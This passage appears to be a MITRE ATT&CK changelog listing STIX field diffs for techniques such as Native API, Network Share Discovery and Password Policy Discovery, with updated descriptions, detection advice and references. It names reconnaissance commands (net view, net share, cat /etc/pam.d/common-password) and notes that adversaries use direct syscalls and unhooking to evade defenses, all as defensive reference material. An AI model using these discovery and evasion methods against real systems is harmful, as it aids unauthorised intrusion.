| external_references | {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:24:45.580000+00:00 | 2021-10-18 13:24:52.618000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | macOS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-30 14:29:06.462000+00:00 | 2021-10-15 23:59:00.395000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | @ionstorm |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may directly interact with the native OS applica | t | 1 | Adversaries may interact with the native OS application prog |
| > | tion programming interface (API) to execute behaviors. Nativ | > | ramming interface (API) to execute behaviors. Native APIs pr | ||
| > | e APIs provide a controlled means of calling low-level OS se | > | ovide a controlled means of calling low-level OS services wi | ||
| > | rvices within the kernel, such as those involving hardware/d | > | thin the kernel, such as those involving hardware/devices, m | ||
| > | evices, memory, and processes.(Citation: NT API Windows)(Cit | > | emory, and processes.(Citation: NT API Windows)(Citation: Li | ||
| > | ation: Linux Kernel API) These native APIs are leveraged by | > | nux Kernel API) These native APIs are leveraged by the OS du | ||
| > | the OS during system boot (when other system components are | > | ring system boot (when other system components are not yet i | ||
| > | not yet initialized) as well as carrying out tasks and reque | > | nitialized) as well as carrying out tasks and requests durin | ||
| > | sts during routine operations. Functionality provided by na | > | g routine operations. Native API functions (such as <code>N | ||
| > | tive APIs are often also exposed to user-mode applications v | > | tCreateProcess</code>) may be directed invoked via system ca | ||
| > | ia interfaces and libraries. For example, functions such as | > | lls / syscalls, but these features are also often exposed to | ||
| > | the Windows API <code>CreateProcess()</code> or GNU <code>fo | > | user-mode applications via interfaces and libraries. (Citat | ||
| > | rk()</code> will allow programs and scripts to start other p | > | ion: OutFlank System Calls)(Citation: CyberBit System Calls) | ||
| > | rocesses.(Citation: Microsoft CreateProcess)(Citation: GNU F | > | (Citation: MDSec System Calls) For example, functions such a | ||
| > | ork) This may allow API callers to execute a binary, run a C | > | s the Windows API <code>CreateProcess()</code> or GNU <code> | ||
| > | LI command, load modules, etc. as thousands of similar API f | > | fork()</code> will allow programs and scripts to start other | ||
| > | unctions exist for various system operations.(Citation: Micr | > | processes.(Citation: Microsoft CreateProcess)(Citation: GNU | ||
| > | osoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level | > | Fork) This may allow API callers to execute a binary, run a | ||
| > | software frameworks, such as Microsoft .NET and macOS Cocoa, | > | CLI command, load modules, etc. as thousands of similar API | ||
| > | are also available to interact with native APIs. These fram | > | functions exist for various system operations.(Citation: Mi | ||
| > | eworks typically provide language wrappers/abstractions to A | > | crosoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher leve | ||
| > | PI functionalities and are designed for ease-of-use/portabil | > | l software frameworks, such as Microsoft .NET and macOS Coco | ||
| > | ity of code.(Citation: Microsoft NET)(Citation: Apple Core S | > | a, are also available to interact with native APIs. These fr | ||
| > | ervices)(Citation: MACOS Cocoa)(Citation: macOS Foundation) | > | ameworks typically provide language wrappers/abstractions to | ||
| > | Adversaries may abuse these native API functions as a means | > | API functionalities and are designed for ease-of-use/portab | ||
| > | of executing behaviors. Similar to [Command and Scripting I | > | ility of code.(Citation: Microsoft NET)(Citation: Apple Core | ||
| > | nterpreter](https://attack.mitre.org/techniques/T1059), the | > | Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation | ||
| > | native API and its hierarchy of interfaces, provide mechanis | > | ) Adversaries may abuse these OS API functions as a means o | ||
| > | ms to interact with and utilize various components of a vict | > | f executing behaviors. Similar to [Command and Scripting Int | ||
| > | imized system. | > | erpreter](https://attack.mitre.org/techniques/T1059), the na | ||
| > | tive API and its hierarchy of interfaces provide mechanisms | ||||
| > | to interact with and utilize various components of a victimi | ||||
| > | zed system. While invoking API functions, adversaries may al | ||||
| > | so attempt to bypass defensive tools (ex: unhooking monitore | ||||
| > | d functions via [Disable or Modify Tools](https://attack.mit | ||||
| > | re.org/techniques/T1562/001)). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:19:54.646000+00:00 | 2021-10-18 21:24:30.764000+00:00 |
| description | Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system. | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). |
| external_references[3]['source_name'] | Microsoft CreateProcess | OutFlank System Calls |
| external_references[3]['description'] | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. | de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/ms682425 | https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ |
| external_references[4]['source_name'] | GNU Fork | CyberBit System Calls |
| external_references[4]['description'] | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. | Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021. |
| external_references[4]['url'] | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html | https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ |
| external_references[5]['source_name'] | Microsoft Win32 | MDSec System Calls |
| external_references[5]['description'] | Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. | MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/api/ | https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ |
| external_references[6]['source_name'] | LIBC | Microsoft CreateProcess |
| external_references[6]['description'] | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. |
| external_references[6]['url'] | https://man7.org/linux/man-pages//man7/libc.7.html | http://msdn.microsoft.com/en-us/library/ms682425 |
| external_references[7]['source_name'] | GLIBC | GNU Fork |
| external_references[7]['description'] | glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020. | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. |
| external_references[7]['url'] | https://www.gnu.org/software/libc/ | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html |
| external_references[8]['source_name'] | Microsoft NET | Microsoft Win32 |
| external_references[8]['description'] | Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. | Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. |
| external_references[8]['url'] | https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework | https://docs.microsoft.com/en-us/windows/win32/api/ |
| external_references[9]['source_name'] | Apple Core Services | LIBC |
| external_references[9]['description'] | Apple. (n.d.). Core Services. Retrieved June 25, 2020. | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. |
| external_references[9]['url'] | https://developer.apple.com/documentation/coreservices | https://man7.org/linux/man-pages//man7/libc.7.html |
| external_references[10]['source_name'] | MACOS Cocoa | GLIBC |
| external_references[10]['description'] | Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020. | glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020. |
| external_references[10]['url'] | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 | https://www.gnu.org/software/libc/ |
| external_references[11]['source_name'] | macOS Foundation | Microsoft NET |
| external_references[11]['description'] | Apple. (n.d.). Foundation. Retrieved July 1, 2020. | Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. |
| external_references[11]['url'] | https://developer.apple.com/documentation/foundation | https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework |
| x_mitre_detection | Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. | Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Apple Core Services', 'description': 'Apple. (n.d.). Core Services. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/documentation/coreservices'} | |
| external_references | {'source_name': 'MACOS Cocoa', 'description': 'Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1'} | |
| external_references | {'source_name': 'macOS Foundation', 'description': 'Apple. (n.d.). Foundation. Retrieved July 1, 2020.', 'url': 'https://developer.apple.com/documentation/foundation'} | |
| x_mitre_contributors | Gordon Long, Box, Inc., @ethicalhax |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse scripting or built-in command line int | t | 1 | Adversaries may abuse scripting or built-in command line int |
| > | erpreters (CLI) on network devices to execute malicious comm | > | erpreters (CLI) on network devices to execute malicious comm | ||
| > | and and payloads. The CLI is the primary means through which | > | and and payloads. The CLI is the primary means through which | ||
| > | users and administrators interact with the device in order | > | users and administrators interact with the device in order | ||
| > | to view system information, modify device operations, or per | > | to view system information, modify device operations, or per | ||
| > | form diagnostic and administrative functions. CLIs typically | > | form diagnostic and administrative functions. CLIs typically | ||
| > | contain various permission levels required for different co | > | contain various permission levels required for different co | ||
| > | mmands. Scripting interpreters automate tasks and extend f | > | mmands. Scripting interpreters automate tasks and extend f | ||
| > | unctionality beyond the command set included in the network | > | unctionality beyond the command set included in the network | ||
| > | OS. The CLI and scripting interpreter are accessible through | > | OS. The CLI and scripting interpreter are accessible through | ||
| > | a direct console connection, or through remote means, such | > | a direct console connection, or through remote means, such | ||
| > | as telnet or secure shell (SSH). Adversaries can use the ne | > | as telnet or [SSH](https://attack.mitre.org/techniques/T1021 | ||
| > | twork CLI to change how network devices behave and operate. | > | /004). Adversaries can use the network CLI to change how ne | ||
| > | The CLI may be used to manipulate traffic flows to intercept | > | twork devices behave and operate. The CLI may be used to man | ||
| > | or manipulate data, modify startup configuration parameters | > | ipulate traffic flows to intercept or manipulate data, modif | ||
| > | to load malicious system software, or to disable security f | > | y startup configuration parameters to load malicious system | ||
| > | eatures or logging to avoid detection. (Citation: Cisco Synf | > | software, or to disable security features or logging to avoi | ||
| > | ul Knock Evolution) | > | d detection. (Citation: Cisco Synful Knock Evolution) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 16:43:38.388000+00:00 | 2021-07-26 15:57:50.800000+00:00 |
| description | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH). Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution) | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 3.1
Version changed from: 3.0 → 3.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for folders and drives shared on remote | t | 1 | Adversaries may look for folders and drives shared on remote |
| > | systems as a means of identifying sources of information to | > | systems as a means of identifying sources of information to | ||
| > | gather as a precursor for Collection and to identify potent | > | gather as a precursor for Collection and to identify potent | ||
| > | ial systems of interest for Lateral Movement. Networks often | > | ial systems of interest for Lateral Movement. Networks often | ||
| > | contain shared network drives and folders that enable users | > | contain shared network drives and folders that enable users | ||
| > | to access file directories on various systems across a netw | > | to access file directories on various systems across a netw | ||
| > | ork. File sharing over a Windows network occurs over the S | > | ork. File sharing over a Windows network occurs over the S | ||
| > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | ||
| > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | ||
| > | ware/S0039) can be used to query a remote system for availab | > | ware/S0039) can be used to query a remote system for availab | ||
| > | le shared drives using the <code>net view \\\\remotesystem</ | > | le shared drives using the <code>net view \\\\remotesystem</ | ||
| > | code> command. It can also be used to query shared drives on | > | code> command. It can also be used to query shared drives on | ||
| > | the local system using <code>net share</code>. | > | the local system using <code>net share</code>. For macOS, t | ||
| > | he <code>sharing -l</code> command lists all shared points u | ||||
| > | sed for smb services. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-29 19:07:11.154000+00:00 | 2021-10-13 18:10:57.185000+00:00 |
| description | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services. |
| x_mitre_version | 3.0 | 3.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 14:15:25.186000+00:00 | 2021-10-15 19:55:01.922000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:19:18.594000+00:00 | 2021-10-20 16:33:13.472000+00:00 |
| x_mitre_data_sources[0] | File: File Content | Command: Command Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Certificate: Certificate Registration', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:15:21.193000+00:00 | 2021-10-18 12:26:22.831000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'} | |
| external_references | {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'} | |
| external_references | {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'} | |
| external_references | {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 17:48:09.417000+00:00 | 2021-10-15 20:18:31.112000+00:00 |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 17:48:08.916000+00:00 | 2021-08-16 21:27:10.873000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 15:27:51.559000+00:00 | 2021-08-16 21:35:17.618000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:35:15.823000+00:00 | 2021-08-16 21:29:19.697000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:35:51.656000+00:00 | 2021-08-16 21:30:01.743000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Microsoft Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:36:15.923000+00:00 | 2021-10-15 20:18:30.700000+00:00 |
| external_references[3]['source_name'] | SensePost NotRuler | Pfammatter - Hidden Inbox Rules |
| external_references[3]['description'] | SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019. | Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. |
| external_references[3]['url'] | https://github.com/sensepost/notruler | https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ |
| x_mitre_detection | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. | Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access detailed information about | t | 1 | Adversaries may attempt to access detailed information about |
| > | the password policy used within an enterprise network. Pass | > | the password policy used within an enterprise network or cl | ||
| > | word policies for networks are a way to enforce complex pass | > | oud environment. Password policies are a way to enforce comp | ||
| > | words that are difficult to guess or crack through [Brute Fo | > | lex passwords that are difficult to guess or crack through [ | ||
| > | rce](https://attack.mitre.org/techniques/T1110). This would | > | Brute Force](https://attack.mitre.org/techniques/T1110). Thi | ||
| > | help the adversary to create a list of common passwords and | > | s information may help the adversary to create a list of com | ||
| > | launch dictionary and/or brute force attacks which adheres t | > | mon passwords and launch dictionary and/or brute force attac | ||
| > | o the policy (e.g. if the minimum password length should be | > | ks which adheres to the policy (e.g. if the minimum password | ||
| > | 8, then not trying passwords such as 'pass123'; not checking | > | length should be 8, then not trying passwords such as 'pass | ||
| > | for more than 3-4 passwords per account if the lockout is s | > | 123'; not checking for more than 3-4 passwords per account i | ||
| > | et to 6 as to not lock out accounts). Password policies can | > | f the lockout is set to 6 as to not lock out accounts). Pas | ||
| > | be set and discovered on Windows, Linux, and macOS systems | > | sword policies can be set and discovered on Windows, Linux, | ||
| > | via various command shell utilities such as <code>net accoun | > | and macOS systems via various command shell utilities such a | ||
| > | ts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy | > | s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo | ||
| > | </code>, <code>chage -l <username></code>, <code>cat /etc/pa | > | mainPasswordPolicy</code>, <code>chage -l <username></code>, | ||
| > | m.d/common-password</code>, and <code>pwpolicy getaccountpol | > | <code>cat /etc/pam.d/common-password</code>, and <code>pwpo | ||
| > | icies</code>.(Citation: Superuser Linux Password Policies) ( | > | licy getaccountpolicies</code> (Citation: Superuser Linux Pa | ||
| > | Citation: Jamf User Password Policies) | > | ssword Policies) (Citation: Jamf User Password Policies). P | ||
| > | assword policies can be discovered in cloud environments usi | ||||
| > | ng available APIs such as <code>GetAccountPasswordPolicy</co | ||||
| > | de> in AWS (Citation: AWS GetPasswordPolicy). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-29 14:48:07.227000+00:00 | 2021-07-26 14:11:39.499000+00:00 |
| description | Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
